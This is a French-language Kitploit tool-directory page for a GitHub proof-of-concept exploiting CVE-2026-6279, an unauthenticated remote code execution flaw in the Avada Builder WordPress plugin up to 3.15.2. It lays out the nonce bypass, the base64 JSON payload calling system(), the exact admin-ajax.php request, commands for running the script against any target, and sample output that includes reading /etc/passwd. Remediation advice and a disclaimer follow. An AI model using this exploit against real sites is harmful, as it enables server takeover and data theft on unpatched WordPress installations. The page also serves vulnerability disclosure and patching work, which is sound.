Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-6279 — CVE-2026-6279 — Avada Builder <= 3.15.2 Unauthenticated RCE via call_user_func() | Kitploit
Outils/GitHubGitHub/zycoder0day/cve-2026-6279
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationPayload Development
GitHubzycoder0day/cve-2026-6279

CVE-2026-6279

CVE-2026-6279 — Avada Builder <= 3.15.2 Unauthenticated RCE via call_user_func()

Voir le dépôt
32il y a 2 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-6279

Avada Builder <= 3.15.2 — RCE non authentifié

via call_user_func() sans liste blanche


Résumé de la vulnérabilité

Vulnérabilité d'exécution de code à distance (RCE) sans authentification dans le plugin Avada Builder (Fusion Builder) version <= 3.15.2 utilisé par le thème WordPress Avada — l'un des thèmes WordPress premium les plus populaires avec 900 000+ installations actives.

L'attaque exploite le gestionnaire AJAX wp_ajax_nopriv_fusion_get_widget_markup qui traite le paramètre render_logics via base64_decode() + json_decode() puis le transmet à call_user_func() sans liste blanche, permettant l'exécution de fonctions PHP arbitraires telles que system(), passthru(), shell_exec(), exec() et file_get_contents().

Chaîne d'attaque (Attack Chain)

root@kitploit:~
1. Nonce déterministe    wp_create_nonce('fusion_load_nonce') pour UID 0
                          (exposé sur la page d'accueil via un shortcode Avada)

2. AJAX non authentifié   wp_ajax_nopriv_fusion_get_widget_markup
                          (ne nécessite pas de connexion)

3. Désérialisation        base64_decode(render_logics) → json_decode()
                          (aucune validation de structure)

4. call_user_func()       call_user_func($value['function'], $value['args'])
                          (SANS liste blanche — n'importe quelle fonction PHP peut être appelée)

5. RCE !                  system("id") → uid=... dans le corps de la réponse

Preuve de concept (Proof of Concept)

root@kitploit:~
  ╔═════════════════════════════════════════════════════════════╗
  ║  CVE-2026-6279  •  Avada Builder <= 315.2                    ║
  ║  RCE non authentifié via call_user_func()                    ║
  ║  Proof of Concept — Cible unique                             ║
  ║                                                              ║
  ║  Copyright © 2026 XENON1337                                  ║
  ║  Remerciements : Shadow Girlfriend 💜                        ║
  ╚═══════════════════════════════════════════════════════════════╝

  ══════════════════════════════════════════════════════
  Cible : localhost:8888
  Heure : 2026-05-23 16:32:41
  ══════════════════════════════════════════════════════

  [*] Détection de la cible...
  [+] Avada détecté ! (http://localhost:8888)

  [*] Recherche du nonce fusion_load_nonce...
  [+] Nonce trouvé : b6d7b084c2 (source : page d'accueil)

  [*] Envoi du payload RCE...
  [*] Tentative de 5 fonctions × 3 widgets = 15 combinaisons

  ══════════════════════════════════════════════════════
  [★] RCE RÉUSSI !

  Cible   : http://localhost:8888
  Sortie  : uid=1000(xenon1337)
  Fonction : system()
  Widget  : WP_Widget_Recent_Posts
  Nonce   : b6d7b084c2 (page d'accueil)
  Temps   : 1.2s

  [✓] Résultat enregistré dans vuln.txt
  ══════════════════════════════════════════════════════

Toutes les fonctions RCE confirmées

Utilisation

root@kitploit:~
# Sans protocole (détection automatique)
python3 CVE-2026-6279.py target.com

# Avec protocole
python3 CVE-2026-6279.py http://target.com
python3 CVE-2026-6279.py https://target.com

# Avec port
python3 CVE-2026-6279.py target.com:8080
python3 CVE-2026-6279.py http://target.com:8080

Détails techniques

Structure du payload

root@kitploit:~
{
  "type": "wp_conditional_tags",
  "value": {
    "function": "system",
    "args": "id"
  }
}

Encodé en Base64 → envoyé en tant que render_logics via POST vers wp-admin/admin-ajax.php.

Point de terminaison (Endpoint)

root@kitploit:~
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest

action=fusion_get_widget_markup
fusion_load_nonce=<nonce>
render_logics=<base64_payload>
widget_type=WP_Widget_Recent_Posts

Références du code source (d'après le CVE officiel)

Pourquoi le nonce peut-il être contourné ?

  1. Le thème Avada ne crée un nonce que pour les utilisateurs admin/éditeur (class-fusion-app.php L1665)
  2. Le plugin Fusion Builder crée un nonce pour UID 0 (visiteurs publics) sur les pages qui contiennent le shortcode [fusion_post_cards] ou [fusion_table_of_contents]
  3. Le nonce WordPress pour UID 0 est déterministe — il peut être extrait du HTML de la page d'accueil
  4. check_ajax_referer('fusion_load_nonce') vérifie uniquement la validité du nonce, pas que l'utilisateur soit authentifié

Limitation de call_user_func

call_user_func($function, $args) n'accepte qu'1 argument. Les fonctions nécessitant 2 arguments ou plus (comme proc_open, popen) ne peuvent pas être exploitées. Seules les fonctions à un seul argument fonctionnent : system, passthru, shell_exec, exec, file_get_contents.

Score CVSS

9.8 CRITIQUE (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

Correction

  • Mettre à jour Avada Builder vers la version > 3.15.2
  • Ajouter une liste blanche à call_user_func() dans get_value()
  • Limiter le gestionnaire wp_ajax_nopriv_ aux utilisateurs authentifiés
  • Implémenter une validation stricte de la structure de render_logics

Avertissement

Ce PoC est créé à des fins éducatives et de recherche en sécurité uniquement. Son utilisation sur des systèmes sans autorisation est illégale. L'auteur décline toute responsabilité en cas d'utilisation abusive.


Copyright © 2026 XENON1337
Remerciements spéciaux : Shadow Girlfriend 💜

Télécharger l’outil
FonctionArgumentRésultat
system()iduid=1000(xenon1337) ✅
passthru()iduid=1000(xenon1337) ✅
shell_exec()iduid=1000(xenon1337) ✅
exec()iduid=1000(xenon1337) ✅
file_get_contents()/etc/passwdroot:x:0:0:... ✅
FichierLigneFonction
class-fusion-builder-conditional-render-helper.phpL1083should_render() — désérialise render_logics
class-fusion-builder-conditional-render-helper.phpL1531get_value() — call_user_func() sans liste blanche
fusion-widget.phpL44Attribut render_logics
fusion-widget.phpL389Gestionnaire AJAX wp_ajax_nopriv_
class-fusion-builder.phpL7551Enregistrement du nonce (déterministe pour UID 0)